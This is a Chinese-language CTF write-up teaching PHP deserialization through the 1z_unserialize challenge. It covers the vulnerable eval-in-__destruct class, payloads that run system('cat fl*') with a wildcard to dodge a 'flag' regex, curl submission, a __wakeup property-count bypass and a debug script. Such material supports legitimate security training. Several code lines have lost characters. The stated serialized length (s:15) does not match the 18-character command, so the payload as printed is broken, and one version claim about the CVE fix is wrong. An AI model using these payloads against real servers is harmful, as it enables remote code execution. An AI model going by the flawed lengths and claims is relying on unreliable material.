ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

PHP反序列化入门:从1z_unserialize看魔术方法与payload构造

PHP反序列化入门:从1z_unserialize看魔术方法与payload构造 SWPUCTF 2022 新生赛的[1z_unserialize]名字里的1z就是easy的意思题如其名是我见过的把PHP反序列化入门考点浓缩得最干净的一道题。它没有复杂的框架审计也不需要背什么工具链整道题的核心就围着unserialize打转入口在哪、魔术方法什么时候触发、序列化字符串长什么样。把这三点想明白flag就是你的。这篇文章就按我当时做题的思路完整复盘一遍包括中间试错的判断过程适合刚接触Web安全、看反序列化题还觉得一脸懵的同学对照着练。1. 从打开题目到锁死攻击面unserialize入口和源码里那几行关键代码1.1 页面给的线索比想象中直白打开题目首先看到的是一段高亮显示的PHP源码。CTF里这种直接highlight_file(__FILE__)的题目不在少数意思很明确源码都给你了剩下的事情就是做代码审计。我当时把页面源码稍微整理了一下核心逻辑基本长这样?php highlight_file(__FILE__); class Road{ public $cmd; public function __destruct(){ if(preg_match(/flag/i, $this-cmd)){ eval($this-cmd); } } } if(isset($_GET[data])){ unserialize($_GET[data]); } ?别小看这几行代码新生赛里反序列化题最常见的出法就是把代码全部摊在明面上让你自己找出那条可以利用的路径。这道题的入口也非常直白一个data参数喂给unserialize()函数。你传进去的字符串会被还原成一个PHP对象仅此而已。很多新手第一次看到这种题会犯一个方向性错误——以为要去找什么隐藏接口、SQL注入、XSS结果绕了一大圈回来发现漏洞就明明白白写在这几行代码里。做Web题第一步永远是代码审计在没有源码的情况下才轮得到扫目录、测接口、猜逻辑所以打开题目先看页面本身的输出是这个习惯帮了大忙。1.2 可控点分析从$_GET到__destruct的完整路径代码里定义了唯一一个类Road它有一个public属性cmd还有一个__destruct()魔术方法。__destruct方法内部先做了一次preg_match(/flag/i, $this-cmd)检查如果通过就eval($this-cmd)。先理清楚这条路径的控制关系参数data是唯一可控的输入点经过unserialize()后变成对象我们可以完全控制这个对象的属性和属性值包括cmd反序列化出来的对象如果没有被变量长期持有脚本执行到末尾或者引用计数归零时会被自动销毁对象销毁的那一刻__destruct()会被自动触发只要cmd能同时满足两个条件——包含flag字样且是一段合法的PHP代码——就能把代码执行变成现实。也就是说我们虽然只是传了一个序列化字符串进去但通过这个字符串我们同时控制了对象的结构和销毁时的行为。这就是反序列化漏洞的基本盘攻击者控制的不只是某个参数的值而是整个对象图包括它的类型、它的属性、它的魔术方法调用时机。这也是为什么我说要控制的是整个对象而不是某个参数——很多新生没转过这个弯他们看到cmd是可控参数就直接往里面塞代码却忘了先构造一个Road对象导致unserialize()返回的对象类型不对__destruct()根本没被调用自然什么都执行不了。2. 魔术方法的时间窗口为什么对象一销毁eval就跟着执行2.1 反序列化过程会发生什么wakeup、属性还原、对象返回要理解这道题先得知道unserialize()到底干了什么。很多人以为它就是把字符串简单变成对象其实在变成对象的过程中PHP会做一整套解析读取类型标识符、类名、属性个数、每个属性的名字和值然后创建对象并填充属性。在这个过程里如果目标对象所属的类定义了__wakeup()魔术方法那么反序列化完成后会立刻调用它。__wakeup的定位是对象被反序列化还原时的钩子很多题目会用它在还原后做一些限制比如强制把某个属性改掉防止你传一个危险对象进去。而__destruct()刚好相反它是对象生命周期结束的钩子。这两个魔术方法的调用时机是错开的__wakeup在unserialize执行过程中触发__destruct在对象销毁时触发。有些题目把危险操作放在__wakeup里有些放在__destruct里放的位置不同利用方式和绕过方式也完全不同。这道题的关键在__destruct所以我们重点关注对象什么时候销毁。2.2 对象销毁的几种情况与__destruct触发时机PHP里对象不是变量赋值就直接永生的它的生命周期受引用计数控制。下面这几种情况都会导致对象被销毁变量被unset()显式释放指向对象的最后一个引用变量被重新赋值函数执行完毕函数内部的局部变量全部释放整个PHP脚本执行结束。上面题目代码里有一行非常关键unserialize($_GET[data]);注意它没有把结果赋值给任何变量比如写成$obj unserialize(...)。这种情况下unserialize()返回的对象在表达式结束后就成了没有任何引用的孤儿对象一个临时对象。临时对象的生命周期极短反序列化函数一返回它就失去了最后的引用触发销毁流程__destruct()在几乎同一时刻被调用。因此这道题根本不需要等脚本自然结束——对象在unserialize一句执行完就被回收了eval的触发几乎是即时的。新手常见误区是觉得我传一个对象进去只要脚本不结束对象就不会销毁__destruct就不会执行。实际上只要你没有把unserialize的结果保存到变量里对象当场就销毁。退一步讲即使脚本保存了对象脚本最后结束的时候一样会销毁、一样会触发__destruct。所以这类利用点在__destruct的题目触发条件是很宽松的。2.3 为什么eval型__destruct是经典考点__destruct里放eval在反序列化题目里属于非常经典的考法。原因很简单__destruct是自杀式触发点不管你愿不愿意对象销毁时它都会执行。攻击者只要能把恶意代码放进对象属性里剩下的就是看目标环境有没有过滤。这道题还多加了一层preg_match(/flag/i, $this-cmd)意图很明确你可以塞代码但代码里不能直接出现flag字样。为什么过滤这个因为最终我们要执行的是类似system(cat /flag)这种读flag的命令命令里带着flag这个词一旦被正则匹配到eval就不执行了。这就逼着你考虑一个问题如何让最终命令能读到flag文件同时命令字符串里不出现flag这四个字母。方法非常多后面构造payload的时候细说。3. 构造序列化字符串从public属性到URL编码的每一步3.1 序列化字符串的组成长度、类型、可见性先看一个最简单的例子。如果我在本地写一个Road类class Road { public $cmd; }new一个对象把cmd赋值为字符串phpinfo();再serialize()一下得到的结果是O:4:Road:1:{s:3:cmd;s:10:phpinfo();;}拆开解读O:4:RoadO表示Object4是类名Road的长度后面跟类名1对象有1个属性s:3:cmds表示String3是属性名长度属性名cmds:10:phpinfo();属性值是字符串长度10内容phpinfo();每对属性名和属性值之间用分号分隔外层用花括号包住。这里最容易翻车的是长度。序列化格式对长度非常严格只要长度数错一位整个字符串解析失败unserialize直接返回false更别说触发魔术方法了。所以我不建议手写这个字符串而是用PHP脚本生成。另外有一种情况必须了解属性可见性会影响序列化格式。public属性简单直接写属性名protected属性会在属性名前面加\0*\0private属性会在属性名前面加\0类名\0。新手手写payload遇到protected或private属性时经常因为漏掉这些空字节或者算错长度导致失败。比如protected $cmd序列化出来后属性名部分长这样s:9:\0*\0cmd这个\0是真正的空字节不是字符0在URL传参时必须编码成%00。\0*\0cmd的实际长度是9个字符数的时候要把两个空字节也算进去。private属性就更麻烦一点格式是\0Road\0cmd长度取决于类名。最稳妥的办法还是写脚本让PHP自己生成序列化字符串人力数长度这件事费力不讨好。3.2 用PHP脚本生成payload而不是手写因为题目类的cmd是public属性我们构造起来很简单。本地写一个生成脚本?php class Road { public $cmd; } $a new Road(); $a-cmd system(cat fl*);; echo serialize($a) . \n; echo urlencode(serialize($a)) . \n; ?运行后得到两行输出O:4:Road:1:{s:3:cmd;s:15:system(cat fl*);;} O%3A4%3A%22Road%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A15%3A%22system%28%22cat%20fl%2A%22%29%3B%22%3B%7D第一行是标准序列化结果第二行是URL编码后的结果。提交的时候用第二行这个后面细讲。这里我用的命令是system(cat fl*);重点来了整个payload里没有出现flag这四个连续字符因此可以绕过preg_match(/flag/i)的检查。但shell通配符fl*在执行时会匹配当前目录下所有以fl开头的文件假如目标环境里有一个flag.txt那cat fl*就能把它读出来。如果你判断flag在根目录下payload就用$a-cmd system(cat /fl*);;这里多加一个根路径前缀同样不包含flag字样但能匹配根目录下的/flag、/flag.txt、/flag.php等文件。3.3 过滤正则的一个典型绕法通配符不匹配flag子串为什么preg_match(/flag/i, $this-cmd)能被通配符绕过关键在于正则匹配的是$cmd这个字符串内容本身而不会提前去解析shell命令的语义。$this-cmd system(cat /fl*);这段字符串里包含的字符序列是cat、空格、/fl*没有flag所以正则检查放行。等到eval($this-cmd)真正执行这段PHP代码时system函数会把/fl*交给shell去展开shell在文件系统里匹配到/flagcat成功读到内容。这就是典型的检查与执行分离造成的绕过。检查发生在字符串层面执行发生在命令语义层面只要payload里不直接出现被过滤的字符串就能蒙混过关。类似思路还有用环境变量拼接命令、用转义符插入、用变量间接引用等等。不过要注意preg_match(/flag/i, $this-cmd)匹配的是cmd属性整体而不是只匹配某个片段。所以实际操作中有两条路要么让cmd里不出现flag也就是通配符方案要么想办法让cmd里出现flag但绕过整个正则检查。对新生赛来说通配符方案已经够了。4. 本地复现到远程拿flag一次完整的提交记录4.1 本地搭环境一个PHP内置服务器就够了在正式打远程之前强烈建议先在本地把整条链路走通。这一步不是浪费时间而是给远程操作兜底——很多问题在本地两三分钟就能暴露出来省得在远程反复试错还看不到错误细节。我把题目的核心代码存成index.php放到一个空目录里再在同一个目录创建测试文件fl.txt里面写一行测试内容flag{local_test_flag}然后启动PHP内置服务器php -S 127.0.0.1:8080PHP内置服务器对CTF题目的本地复现完全够用不需要装nginx或者Apache。启动之后用浏览器访问http://127.0.0.1:8080/?dataO%3A4%3A%22Road%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A15%3A%22system%28%22cat%20fl%2A%22%29%3B%22%3B%7D结果页面上会先显示一大段高亮源码然后在源码末尾输出fl.txt的内容。这里有一个容易误判的地方——因为题目本身带了highlight_file(__FILE__)所以响应里会出现整个PHP文件的源码新手看到满屏代码以为payload没生效其实只要往下滚动就能看到命令执行的结果混在页面里。我在第一次测的时候也差点被这个干扰后来是用CtrlF搜索页面里有没有flag字样来确认的。4.2 一步一步提交从明文payload到URL编码远程提交的时候有个细节很多人栽过序列化字符串里有双引号、花括号、冒号、分号这些字符放到URL参数里容易被解析器干扰所以必须做URL编码。使用urlencode()之后生成的完整请求是/index.php?dataO%3A4%3A%22Road%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A15%3A%22system%28%22cat%20fl%2A%22%29%3B%22%3B%7D如果在终端用curl提交命令长这样curl http://目标地址/index.php?dataO%3A4%3A%22Road%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A15%3A%22system%28%22cat%20fl%2A%22%29%3B%22%3B%7D服务端PHP收到请求后会自动做一次URL解码%22恢复成双引号%20恢复成空格然后整个字符串作为$_GET[data]的值传给unserialize()。这条链路是通的。那cat fl*在远程能不能找到flag文件取决于题目环境的文件布局。如果flag在根目录用/fl*如果flag在当前工作目录通常是web根目录用fl*如果flag叫flag_xxx之类fl*也能匹配到。多试一两个路径一般就能出结果。我提交远程后直接在响应里看到了flag整道题到这里就算打通了。4.3 命令没有回显检查这三个环节如果提交payload后页面一片空白或者没有看到期望的结果大概率是下面三个环节之一出了问题第一序列化字符串本身的格式错了。最常见的原因是属性长度算错、漏了某个花括号、引号不配对。排查方法是在本地用unserialize()直接解析你的payload如果返回false说明格式坏了。用PHP脚本生成payload可以完全规避这个问题。第二过滤正则把你拦了。如果你payload里直接写了system(cat flag);preg_match(/flag/i)会匹配到flageval整段不执行。检查你的命令里有没有出现被过滤的关键词换成通配符方案。第三命令执行函数被限制。新生赛一般不会往死里禁但如果system被禁用可以试passthru、shell_exec、exec它们效果类似。eval里可以写不同函数不影响整体利用链。另外注意输出方式system和passthru会直接输出exec和shell_exec是返回值如果直接放在eval里而不加echo页面可能没有任何回显。当时我还在远程环境里确认了一下PHP版本。不同版本对反序列化和魔术方法的行为有一些细微差异但这道题的核心链路在PHP 5到PHP 8都能跑通版本问题没有成为阻碍。5. 新生最容易翻车的三个地方附调试思路5.1 __wakeup()拦截老版本属性个数绕过有些反序列化题会在类里额外加上__wakeup()方法用来在反序列化还原对象时做限制比如强制重置危险属性。这道题如果遇到的是加了__wakeup的版本常见的绕过思路是先尝试经典的属性个数绕过。漏洞编号是CVE-2016-7124原理是当序列化字符串中声明的属性个数大于实际属性个数时PHP在反序列化过程中会跳过__wakeup()的执行。影响范围是PHP 5.6.25之前和PHP 7.0.10之前的版本。举例说明一个正常的payload是O:4:Road:1:{s:3:cmd;s:15:system(cat fl*);;}属性个数声明为1实际属性也是1个。如果我把声明改成2O:4:Road:2:{s:3:cmd;s:15:system(cat fl*);;}在受影响的PHP版本里反序列化引擎发现声明的属性个数和实际不符直接跳过__wakeup继续还原对象属性。由于实际只有cmd这一个属性还原不受影响后面的__destruct照常触发。这个绕过在新生赛里出现频率很高因为很多赛题环境特意保留了老版本PHP或者复现老版本行为。如果你做题时发现payload传进去没反应可以先试试把属性个数加一比。但要注意新版PHP7.4已经修复了这个绕过把属性个数改大不再影响__wakeup的调用。所以这个技巧是老环境特供遇到新环境还要想别的办法比如找引用、找其他魔术方法中转。不过新生赛如果考__wakeup绕过多半环境是支持这个洞的。5.2 本地PHP版本与靶机不一致的坑这个问题在CTF里太常见了本地payload打得通远程一模一样的payload毫无反应。除了网络、参数名不同之外最大的隐患就是PHP版本不一致。不同PHP版本对反序列化字符串的容错能力有差异。老版本解析序列化字符串比较宽松属性名长度差一点可能还能还原新版本更严格长度错一位就整个报错。另外preg_match、eval这些函数的行为在不同版本之间也有细微差别。我的建议是本地复现时尽量用Docker搭一个和靶机环境接近的PHP版本实在不知道靶机版本就本地同时测PHP 7.4和PHP 8.x两个容器。写一遍payload在两个环境里跑结果不一样的话问题几乎可以锁定在版本差异上。平时练习养成环境一致性意识比赛的时候会少踩很多坑。5.3 写一个自动化的调试脚本手工粘payload再开浏览器访问效率实在太低了。我后来习惯把整个调试过程写成一个简单的shell脚本一行命令跑完#!/bin/bash payload$(php gen_payload.php) curl -s http://127.0.0.1:8080/index.php?data$payload | grep -o flag{[^}]*}gen_payload.php就是前面那个输出urlencode后序列化字符串的脚本。本地跑的时候grep会把测试文件里的flag{local_test_flag}提取出来一眼看到结果。远程打的时候把URL换成目标地址同样的逻辑一样用。这个脚本的价值在于它可以让你快速尝试不同路径、不同命令执行函数而不需要每次都手动做URL编码。反序列化题调试频率很高把自动化工具做在前面后面省下来的时间非常可观。6. 从这道题延伸出去新生赛反序列化题到底在练什么6.1 新生赛反序列化题目的几个常见变体SWPUCTF系列新生赛里和反序列化沾边的题目其实有好几道名字也起得很直白。比如[SWPUCTF 2021 新生赛]babyrce考的是RCE的过滤绕过核心思路和这里用通配符绕preg_match有共通之处[SWPUCTF 2021 新生赛]pop则是考一条更长的POP链涉及多个类之间互相调用方法[SWPUCTF 2025 秋季新生赛]ezez_include重点放在文件包含和伪协议利用上。把这几道题放在一起看新生赛的出题逻辑就清楚了它们不是要为难你而是要覆盖Web安全里的几个基础能力点。反序列化题本身就是在训练代码审计 对象生命周期理解 字符串构造这三件事的交叉。1z_unserialize是其中最简单的入口版本只让大家先感受一下unserialize的利用流程等你把这条路走熟了再去做多类串联的POP链思路是连贯的。现在外面有很多文章一上来就讲框架级反序列化、Gadget链挖掘对新生来说信息量太大容易劝退。我的建议是把这类单魔术方法的小题目当成第一个100分来练吃透再走下一步。6.2 学反序列化的正确顺序先单体再链条学反序列化最忌讳的就是跳级。有些人连__destruct和__wakeup的调用时机都没搞清就想着去分析ThinkPHP的POP链结果只能对着链子发呆。我建议的顺序是第一步先在自己本地写一个有危险__destruct的小类手动序列化再反序列化观察对象销毁的时机第二步把__wakeup加进去声请属性个数改大改小观察行为差异第三步构造两个类互相调用的场景让A的方法去调用B的方法形成一条两人链条第四步再去接触真实框架里的Gadget。每一步都在前一步基础上加一点复杂度思维不会断层。1z_unserialize这道题严格来说只覆盖了第一步和第二步的一部分但它把代码审计找入口、看懂魔术方法、构造payload、URL编码、本地验证、远程提交这一整条做题流程完整地过了一遍。流程感这种东西只有亲自走通一次才会有。做完这道题你再看别的反序列化writeup至少不会再对序列化字符串怎么来的一头雾水。我个人在实际操作中的体会是这类新生赛题最值钱的不是flag本身而是它逼着你把一个很小的知识点走到足够深为什么这个对象会销毁为什么这个字符串的长度差一位就失败为什么正则检查不到shell通配符。每个为什么背后都对应着PHP运行时的真实机制。把这几层机制焊死在脑子里之后遇到再复杂的花活也只是在同一个地基上叠乐高而已。
返回列表